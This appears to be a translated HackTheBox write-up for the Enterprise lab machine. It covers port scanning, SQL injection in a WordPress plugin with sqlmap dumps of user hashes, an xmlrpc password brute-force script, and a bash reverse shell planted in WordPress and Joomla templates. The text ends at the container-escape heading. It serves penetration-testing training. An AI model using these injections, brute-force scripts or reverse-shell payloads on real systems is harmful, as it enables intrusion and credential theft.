This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Enterprise


In this writeup we solve the Enterprise machine from HackTheBox. It is a very interesting medium machine: we cover WordPress and Joomla web enumeration and SQL injections, escape from a Docker container and finally exploit a very interesting buffer overflow with the ret2libc technique

November 11, 202327 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

ping -c 1 10.10.10.61
PING 10.10.10.61 (10.10.10.61) 56(84) bytes of data.
64 bytes from 10.10.10.61: icmp_seq=1 ttl=63 time=94.2 ms

--- 10.10.10.61 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 94.201/94.201/94.201/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.61 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.61
   5   │     [*] Open ports: 22,80,443,8080,32812
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

$ nmap -sCV -p22,80,443,8080,32812 10.10.10.61 -oN versions

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
|   256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_  256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
80/tcp    open  http     Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-title: USS Enterprise – Ships Log
|_http-server-header: Apache/2.4.10 (Debian)
443/tcp   open  ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.25 (Ubuntu)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after:  2017-09-24T10:35:14
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp  open  http     Apache httpd 2.4.10 ((Debian))
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.10 (Debian)
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
32812/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, GetRequest, HTTPOptions: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|     Enter Bridge Access Code: 
|     Invalid Code
|     Terminating Console
|   NULL: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|_    Enter Bridge Access Code:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port32812-TCP:V=7.94%I=7%D=11/11%Time=654FAA2C%P=x86_64-pc-linux-gnu%r(
SF:NULL,ED,"\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_______\x20_______\x20\x20______\x20_______\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\
SF:x20\x20\|_____\|\x20\|_____/\x20\|______\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\|_____\x20\|_____\x20\x20\|\x20\x20\x20\x20\x20\|\x20\|\x20
SF:\x20\x20\x20\\_\x20______\|\n\nWelcome\x20to\x20the\x20Library\x20Compu
SF:ter\x20Access\x20and\x20Retrieval\x20System\n\nEnter\x20Bridge\x20Acces
SF:s\x20Code:\x20\n")%r(GenericLines,110,"\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20______\
SF:x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\
SF:x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|______\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|\x
SF:20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\x2
SF:0to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Syst
SF:em\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTermin
SF:ating\x20Console\n\n")%r(GetRequest,110,"\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20_____
SF:_\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x2
SF:0\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|_____
SF:_\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|
SF:\x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\
SF:x20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Sy
SF:stem\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTerm
SF:inating\x20Console\n\n")%r(HTTPOptions,110,"\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20__
SF:____\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20
SF:\x20\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|__
SF:____\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x2
SF:0\|\x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelco
SF:me\x20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x2
SF:0System\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nT
SF:erminating\x20Console\n\n");
Service Info: OS: Linux; CPE: cpe:/
Parameter explanation
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

Port 443

nmap reported a website running on port 443. When we open it, it shows Apache’s default Ubuntu page. There might be other paths, so we’ll do some fuzzing

wfuzz -c -t 20 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://10.10.10.61/FUZZ

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                
=====================================================================     
000000094:   301        9 L      28 W       312 Ch      "files" 
Parameter explanation
  • -c: Colored output
  • -t: Number of concurrent threads
  • –hc=404: Hide responses with a 404 status code, meaning we don’t want it to report pages that don’t exist
  • -w: Wordlist
  • FUZZ: Where the wordlist entries will be tried

wfuzz reported a directory called files. Inside there is a file called lcars.zip, which, once downloaded and unzipped, contains 3 files:

  • lcars.php

    This file is empty: it contains no PHP code, but it does have some comments that suggest it’s a plugin for some website. We can see the plugin’s name, lcars, the domain name, enterprise.htb, and 3 comments: Need to create the user interface, need to finsih the db interface and need to make it secure. The last comment says it still needs to be made more secure, so the plugin may be vulnerable.

    <?php
    /*
    *     Plugin Name: lcars
    *     Plugin URI: enterprise.htb
    *     Description: Library Computer Access And Retrieval System
    *     Author: Geordi La Forge
    *     Version: 0.2
    *     Author URI: enterprise.htb
    *                             */
    
    // Need to create the user interface. 
    
    // need to finsih the db interface
    
    // need to make it secure
    
    ?> 
    
  • lcars_dbpost.php

    This file contains PHP code. The code includes the file /var/www/html/wp-config.php, which most likely holds the database credentials. Then it makes a database query, SELECT post_title FROM wp_posts WHERE ID = $query, selecting the “post_title” from the wp_posts table where the ID equals $query, and $query is whatever is sent via GET in the query parameter. Before making the query, it converts the data passed in the query parameter to an int (a number), which suggests it expects a number. This doesn’t look vulnerable, since it converts the data we send to an int.

      <?php
    include "/var/www/html/wp-config.php";
    $db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
    // Test the connection:
    if (mysqli_connect_errno()){
        // Connection Error
        exit("Couldn't connect to the database: ".mysqli_connect_error());
    }
    
    
    // test to retireve a post name
    if (isset($_GET['query'])){
        $query = (int)$_GET['query'];
        $sql = "SELECT post_title FROM wp_posts WHERE ID = $query";
        $result = $db->query($sql);
        if ($result){
            $row = $result->fetch_row();
            if (isset($row[0])){
                echo $row[0];
            }
        }
    } else {
        echo "Failed to read query";
    }
    
    
    ?> 
    
  • lcars_db.php

    Finally, the lcars_db.php file also contains PHP code. The code again includes /var/www/html/wp-config.php, which, as I said before, is most likely the file with the database credentials. Then it makes a database query selecting the IDs from the “wp_posts” table where the “post_name” column equals $query. In this script, $query refers to the data we send via GET in the query parameter: SELECT ID FROM wp_posts WHERE post_name = $query. This file is a bit different, since the query isn’t the same and $query is no longer a number. Since it doesn’t convert our input to an int, our input goes straight into the query without any kind of sanitization, which looks like it could be vulnerable to SQLi

    <?php
    include "/var/www/html/wp-config.php";
    $db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
    // Test the connection:
    if (mysqli_connect_errno()){
        // Connection Error
        exit("Couldn't connect to the database: ".mysqli_connect_error());
    }
    
    
    // test to retireve an ID
    if (isset($_GET['query'])){
        $query = $_GET['query'];
        $sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
        $result = $db->query($sql);
        echo $result;
    } else {
        echo "Failed to read query";
    }
    
    
    ?>
    

enterprise.htb

In the first file inside lcars, we spotted a comment mentioning a domain:

Plugin URI: enterprise.htb

For the domain to work, we need to add it to /etc/hosts along with the target machine’s IP, so our machine knows what we mean when we refer to enterprise.htb.

10.10.10.61 enterprise.htb

Once this step is done, we can open the website using the domain. But first, let’s run whatweb to get a bit more information about the website

whatweb enterprise.htb

http://enterprise.htb [200 OK] Apache[2.4.10], Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], IP[10.10.10.61], JQuery[1.12.4], MetaGenerator[WordPress 4.8.1], PHP[5.6.31], PoweredBy[WordPress], Script[text/javascript], Title[USS Enterprise &#8211; Ships Log], UncommonHeaders[link], WordPress[4.8.1], X-Powered-By[PHP/5.6.31]

From the whatweb output we can see it’s WordPress version 4.8.1 (a quite outdated version)

Knowing it’s WordPress, we can use wpscan to enumerate users.

wpscan --url=http://enterprise.htb -e u

[i] User(s) Identified:

[+] william.riker
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] william-riker
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

It found 2 possible users, william.riker and william-riker. They’re basically the same user, but written differently in different parts of the website. Under william.riker it says Login Error Messages, so we’ll assume the user is william-riker

SQLi exploitation

Now we could check whether the plugin mentioned on the other website is installed on this WordPress. To find out without being authenticated, we’ll do the following: WordPress plugins are usually in wp-content/plugins/, so we can try to access the wp-content/plugins/lcars folder, which should be the plugin’s folder, since it’s called lcars. If we curl that folder, it responds with a 403 code, which means forbidden

curl -o /dev/null -s -w "%{http_code}\n" enterprise.htb/wp-content/plugins/lcars/

403

But if we make the same request for a random folder, it returns a 404, Not Found

curl -o /dev/null -s -w "%{http_code}\n" enterprise.htb/wp-content/plugins/testing/

404

With these two commands we can conclude that a folder called lcars does exist, but we don’t have permission to see its contents. However, we have an advantage, since we’ve seen the plugin’s code and already know which files might be there and which one might be vulnerable.

Let’s check with curl whether the lcars_db.php file exists, the one we saw earlier that looked like it could be vulnerable to SQLi

curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php"

Failed to read query

If we remember, we could send it things via GET in the query parameter

curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=test"
 

But it doesn’t return anything. Let’s try adding an SQL injection that makes the query take 5 seconds to process, 1 and sleep(5), combined with the URL-encoded curl command and the time command, so it tells us how long the command takes to run. (To URL-encode the SQLi payload you can use a website or do it manually, replacing spaces with %20 and “()” with %28 and %29)

time curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1%20and%20sleep%285%29"

<br />
<b>Catchable fatal error</b>:  Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br />

real	6.71s
user	0.00s
sys	0.01s
cpu	0%

Confirmed, it’s vulnerable: we told the database to sleep for 5 seconds and the request took 6.71, which means it worked

To automate the injection we’ll use sqlmap. sqlmap is banned in some certifications like OSCP, but it’s very handy for this machine, since doing it manually would take a long, long time!

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch

Parameter: query (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: query=(SELECT (CASE WHEN (9063=9063) THEN 1 ELSE (SELECT 3395 UNION SELECT 7761) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: query=1 AND (SELECT 6881 FROM(SELECT COUNT(*),CONCAT(0x71766b7171,(SELECT (ELT(6881=6881,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: query=1 AND (SELECT 1921 FROM (SELECT(SLEEP(5)))CmQp)

sqlmap confirms it’s vulnerable and tells us the 3 types of SQLi that can be used

  • boolean-based blind
  • error-based
  • time-based blind

To enumerate the databases we’ll use the --dbs parameter

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch --dbs

available databases [8]:
[*] information_schema
[*] joomla
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress
[*] wordpressdb

Now that we know which databases there are, let’s see which tables the WordPress database has. For this, we specify the database with -D and list the tables with --tables

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D wordpress --tables

Database: wordpress
[12 tables]
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+

Now we’ll extract all the information from the wp_users table, specifying the table with -T and dumping its contents with --dump

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D wordpress -T wp_users --dump
                                                 
Database: wordpress
Table: wp_users
[1 entry]
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass                          | user_email                   | user_login    | user_status | display_name  | user_nicename | user_registered     | user_activation_key |
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
| 1  | <blank>  | $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2. | william.riker@enterprise.htb | william.riker | 0           | william.riker | william-riker | 2017-09-03 19:20:56 | <blank>             |
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+

Now we can confirm the user william.riker exists, and we have his hashed password: $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.. We can try to crack this hash like this.

echo '$P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.' > hash
                                                                                                     
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

I left it running for quite a while with no luck, so let’s keep enumerating the database. Let’s look at the contents of the wp_posts table

In the post_content column we see 3 entries containing the following text

Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n

To have the line breaks interpreted, we can use Python:

$python3

>>> print('Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n')


Needed somewhere to put some passwords quickly

ZxJyhGem4k338S2Y

enterprisencc170

ZD3YxfnSjezg67JZ

u*Z14ru0p#ttj83zS6

It looks like we now have 4 passwords that might be WordPress ones. We won’t try them one by one; we’ll brute force them automatically in 3 different ways


This WordPress has xmlrpc.php accessible, so we can use it for the brute force. First we’ll list the available methods by sending a POST request with the following data

<?xml version="1.0" encoding="utf-8"?> 
<methodCall> 
<methodName>system.listMethods</methodName> 
<params></params> 
</methodCall>
curl -X POST "http://enterprise.htb/xmlrpc.php" [email protected]
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  .....
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

The wp.getUsersBlogs method is available. With this method we can brute force using the following data, replacing the username parameter with the user and password with the password

<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params> 
<param><value>USERNAME</value></param> 
<param><value>PASSWORD</value></param> 
</params> 
</methodCall>

When we send this request we get the following

curl -X POST “http://enterprise.htb/xmlrpc.php” [email protected]

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
....
          <value><string>Incorrect username or password.</string></value>
....
</methodResponse>

Now we’ll write a Python script to automate this check, and we’ll save all the passwords in a file called passwords.txt

import requests
from pwn import *

url = "http://enterprise.htb/xmlrpc.php"
dict = "passwords.txt"
user = "william.riker"


data = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>{}</value></param>
<param><value>{}</value></param>
</params>
</methodCall>
"""

p1 = log.progress("Número de contraseñas probadas")
p2 = log.progress("Contraseña")

words = 0

with open(dict, 'r') as diccionario:
        for i in diccionario:
                words += 1
                p1.status(words)
                a = requests.post(url, data=data.format(user, i))

                if "Incorrect username or password" not in a.text:
                        p2.success(i)
                        p1.success(words)

At the beginning of the script 4 variables are declared: the URL with the path to xmlrpc.php, the wordlist of possible passwords, the user to test the passwords with, and the data to send via POST, with some “{}” where the user and password go, indicating that a variable we’ll define later goes there. Then we open the wordlist and loop over each of its lines. Next, a request is sent with the password for that iteration, and we check whether the response contains the phrase “Incorrect username or password”. If it doesn’t, the credentials are correct

python3 script.py
[+] Número de contraseñas probadas: 4
[+] Contraseña: u*Z14ru0p#ttj83zS6

Now we have the WordPress password and can log in at /wp-admin. Once logged in, to send ourselves a reverse shell, we simply go to Appearance > Editor > 404 template. We’ll modify 404.php, which is shown when we go to a wrong path, and add the following line

system('bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1"');

We listen with netcat

nc -nlvp 443
Parameter explanation
  • n: Skip DNS resolution
  • l: Enable netcat’s listen mode
  • v: Verbose mode
  • p: Finally, p specifies the port number we’ll be listening on

Finally, we curl a post that doesn’t exist

curl http://enterprise.htb/?p=10000000

And we get the connection

listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 32890
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b8319d86d21e:/var/www/html$ 

Before escalating, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm

export TERM=xterm

Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash

export SHELL=bash

When we check our IP, we see it isn’t the target machine’s:

www-data@b8319d86d21e:/var/www/html$ ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.3/16 scope global eth0
       valid_lft forever preferred_lft forever

If we list the contents of the root directory, we see we’re in a Docker container because of the .dockerenv file

www-data@b8319d86d21e:/var/www/html$ ls -la /

total 72
drwxr-xr-x  73 root root 4096 May 30  2022 .
drwxr-xr-x  73 root root 4096 May 30  2022 ..
-rwxr-xr-x   1 root root    0 Sep  3  2017 .dockerenv

Going back to the IP, we have 172.17.0.3, and 172.17.0.1 is the host machine, which will most likely be 10.10.10.61. But it’s odd that we were assigned 172.17.0.3 and not 172.17.0.2; there may be more than one Docker container, with one at .2. We can check this with a ping.

www-data@b8319d86d21e:/var/www/html$ ping -c 1 172.17.0.2

PING 172.17.0.2 (172.17.0.2): 56 data bytes
64 bytes from 172.17.0.2: icmp_seq=0 ttl=64 time=0.061 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.061/0.061/0.061/0.000 ms

There is indeed a container at .2. Going back to the beginning, there was a third website running on port 8080. Before opening it, let’s run whatweb on it, like we did with WordPress, to see what it is.

whatweb 10.10.10.61:8080

http://10.10.10.61:8080 [200 OK] Apache[2.4.10], Bootstrap, Cookies[14cd8f365a67fad648754407628a1809], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], HttpOnly[14cd8f365a67fad648754407628a1809], IP[10.10.10.61], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PHP[7.0.23], PasswordField[password], Script[application/json], Title[Home], X-Powered-By[PHP/7.0.23]

It’s Joomla! If we remember, the WordPress SQLi revealed a Joomla database, so we can extract usernames and passwords. First we enumerate the tables.

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D joomladb --tables

Database: joomladb
[72 tables]
+-------------------------------+
| edz2g_assets                  |
| edz2g_associations            |
| edz2g_banner_clients          |
| edz2g_banner_tracks           |
| edz2g_banners                 |
| edz2g_categories              |
| edz2g_contact_details         |
| edz2g_content                 |
| edz2g_content_frontpage       |
| edz2g_content_rating          |
| edz2g_content_types           |
| edz2g_contentitem_tag_map     |
| edz2g_core_log_searches       |
| edz2g_extensions              |
| edz2g_fields                  |
| edz2g_fields_categories       |
| edz2g_fields_groups           |
| edz2g_fields_values           |
| edz2g_finder_filters          |
| edz2g_finder_links            |
| edz2g_finder_links_terms0     |
| edz2g_finder_links_terms1     |
| edz2g_finder_links_terms2     |
| edz2g_finder_links_terms3     |
| edz2g_finder_links_terms4     |
| edz2g_finder_links_terms5     |
| edz2g_finder_links_terms6     |
| edz2g_finder_links_terms7     |
| edz2g_finder_links_terms8     |
| edz2g_finder_links_terms9     |
| edz2g_finder_links_termsa     |
| edz2g_finder_links_termsb     |
| edz2g_finder_links_termsc     |
| edz2g_finder_links_termsd     |
| edz2g_finder_links_termse     |
| edz2g_finder_links_termsf     |
| edz2g_finder_taxonomy         |
| edz2g_finder_taxonomy_map     |
| edz2g_finder_terms            |
| edz2g_finder_terms_common     |
| edz2g_finder_tokens           |
| edz2g_finder_tokens_aggregate |
| edz2g_finder_types            |
| edz2g_languages               |
| edz2g_menu                    |
| edz2g_menu_types              |
| edz2g_messages                |
| edz2g_messages_cfg            |
| edz2g_modules                 |
| edz2g_modules_menu            |
| edz2g_newsfeeds               |
| edz2g_overrider               |
| edz2g_postinstall_messages    |
| edz2g_redirect_links          |
| edz2g_schemas                 |
| edz2g_session                 |
| edz2g_tags                    |
| edz2g_template_styles         |
| edz2g_ucm_base                |
| edz2g_ucm_content             |
| edz2g_ucm_history             |
| edz2g_update_sites            |
| edz2g_update_sites_extensions |
| edz2g_updates                 |
| edz2g_user_keys               |
| edz2g_user_notes              |
| edz2g_user_profiles           |
| edz2g_user_usergroup_map      |
| edz2g_usergroups              |
| edz2g_users                   |
| edz2g_utf8_conversion         |
| edz2g_viewlevels              |
+-------------------------------+

Now let’s look at the contents of the edz2g_users table

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D joomladb -T edz2g_users --dump

Database: joomladb
Table: edz2g_users
[2 entries]
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+
| id  | otep    | email                          | name       | otpKey  | params                                                                                       | block   | password                                                     | username        | sendEmail | activation | resetCount | registerDate        | requireReset | lastResetTime       | lastvisitDate       |
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+
| 400 | <blank> | [email protected] | Super User | <blank> | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | 0       | $2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy | geordi.la.forge | 1         | 0          | 0          | 2017-09-03 19:30:04 | 0            | 0000-00-00 00:00:00 | 2017-10-17 04:24:50 |
| 401 | <blank> | [email protected]          | Guinan     | <blank> | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | 0       | $2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q | Guinan          | 0         | <blank>    | 0          | 2017-09-06 12:38:03 | 0            | 0000-00-00 00:00:00 | 0000-00-00 00:00:00 |
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+

We see 2 users with their hashed credentials, which we can try to crack with john

john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

I left it running for a good while, but it doesn’t find them. Maybe some of the credentials in the WordPress post belong to Joomla. With this script we can brute force to find the correct Joomla credentials

python3 joomla-brute.py -u http://10.10.10.61:8080 -usr geordi.la.forge -w passwords.txt

geordi.la.forge:ZD3YxfnSjezg67JZ

Now we have valid Joomla credentials as Super User. Sending ourselves the reverse shell is quite similar to WordPress: we just go to Extensions > Templates > Templates > the active template > error.php and paste the same code we used in WordPress.

system('bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1"');

We listen with netcat

nc -nlvp 443
Parameter explanation
  • n: Skip DNS resolution
  • l: Enable netcat’s listen mode
  • v: Verbose mode
  • p: Finally, p specifies the port number we’ll be listening on

And we curl a random page on the website that doesn’t exist.

curl http://10.10.10.61:8080/testing

We get the connection!

listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 42390
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a7018bfdc454:/var/www/html$ 

Before going on, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm

export TERM=xterm

Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash

export SHELL=bash

If we run ip a, we see we’re in a different container from the WordPress one

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.4/16 scope global eth0
       valid_lft forever preferred_lft forever

Privilege escalation

Escaping the container

